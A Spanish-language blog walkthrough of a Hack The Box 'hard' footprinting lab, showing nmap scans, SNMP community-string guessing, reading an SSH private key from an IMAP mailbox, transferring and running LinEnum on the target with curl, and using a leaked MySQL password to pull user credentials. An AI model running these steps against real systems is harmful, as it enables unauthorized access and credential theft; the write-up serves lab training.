Laboratorio de Footprinting - Díficil

Apr 30, 2025 · 3 mins read

Enunciado

Este es un servidor MX y de administración para la red interna. Este servidor también funciona como servidor de respaldo para las cuentas internas del dominio. Por lo tanto, también se creó aquí un usuario llamado HTB, y necesitamos sus credenciales.

Enumeración

Vamos con lo básico a ver qué servicios están corriendo sobre el servidor.

nmap -p- -sS --min-rate 2000 -n -Pn <IP>

Ahora vamos a ver con un poco más de detalle que hay corriendo en cada puerto que nos salió a ver si vemos algo interesante.

nmap -22,110,143,993,995 -sCV -n -Pn <IP>

Luego de realizar scripts en TCP para recopilar más información sobre los servicios y veo que no pude avanzar mucho mas dado que tanto en pop como imap para poder listar correos necesito alguna credencial y por ssh no tengo claves tampoco, escaneamos por UDP para ver si encontramos algo.

nmap -sU --top-port 100 10.129.5.201

Y vemos que tenemos 2 servicios más. Vamos a enumerarlos más en detalle:

nmap -sUCV -p68,161 10.129.5.201

Vemos que en puerto 161 está usando snmp de versión 3. Recordemos que SNMP - Es un protocolo usado para supervisar y gestionar dispositivos de red. Con la herramienta onesixtyone vemos si podemos obtener información

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <IP>

Y obtenemos la cadena de comunidad backup que podemos usar con snmpwalk para obtener más información.

snmpwalk -v 2c -c backup <IP>

Y vemos a continuación como unos intentos de cambiar la contraseña del usuario tom

Vale a priori al menos tenemos un usuario, vamos a intentar acceder a imap o pop.

openssl s_client -connect <IP>:993 -crlf -quiet

y efectivamente vemos que nos podemos acceder. Listamos los buzones del correo del usuario y vemos varios. a LIST "" *

Al ir entrando en cada uno vemos que en INBOX tenemos un correo. a SELECT INBOX Abrimos el correo a fetch 1 body[] y vemos que es un correo del admin para tom donde le está pasando su clave ssh privada, la cual podemos copiar y usar para poder acceder al sistema como dicho usuario.

Ahora básicamente copiamos la clave en un archivo que creamos en local con nombre id_rsa lo pegamos y le otorgamos permisos 600 chmod 600 id_rsa

Ahora vamos a utilizar la clave para acceder:

ssh -i id_rsa tom@<IP>

Vale ya dentro vamos a proceder a pasar un script de reconocimiento de Linux donde nos va a mostrar información del equipo y con ella intentar escalar privilegios.

Primero nos descargamos el script LinEnum.sh a local con el comando

wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh

Luego en la carpeta donde nos descargamos el script montamos un servidor web para transferirlo a la máquina víctima.

python3 -m http.server 8000

Ahora en la máquina víctima hacemos un curl al servidor web de la siguiente forma:

curl http://<IP>:8000/LinEnum.sh -o script.sh

Recordar la IP es la de la interfaz de Hack the Box.

Luego en la máquina víctima le damos permisos de ejecución al script

chmod +x script.sh

Y lo ejecutamos

./script.sh

Mostrando lo siguiente: Y vemos esto que tenemos con el usuario tom cierto privilegio con el servicio mysql. Vemos si está corriendo el servicio y sí está corriendo. Vemos donde está ubicado para llamarlo y ejecutarlo: Ejecutamos el comando:

#/usr/bin/mysql Este da error porque debemos especificar la contraseña.

/usr/bin/mysql -p #Ponemos a continuación el password del usuario tom 'NMds732Js2761'

Y podemos acceder a mysql

show databases;

Seleccionamos la base de datos users:

use users;

Vemos su contendido y nos damos cuenta que hay muchos usuarios en dicha tabla:

select * from users;

Y con la siguiente query encontramos el usuario deseado

select * from users where username = 'HTB';

Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.

Escríbeme por cualquiera de las vías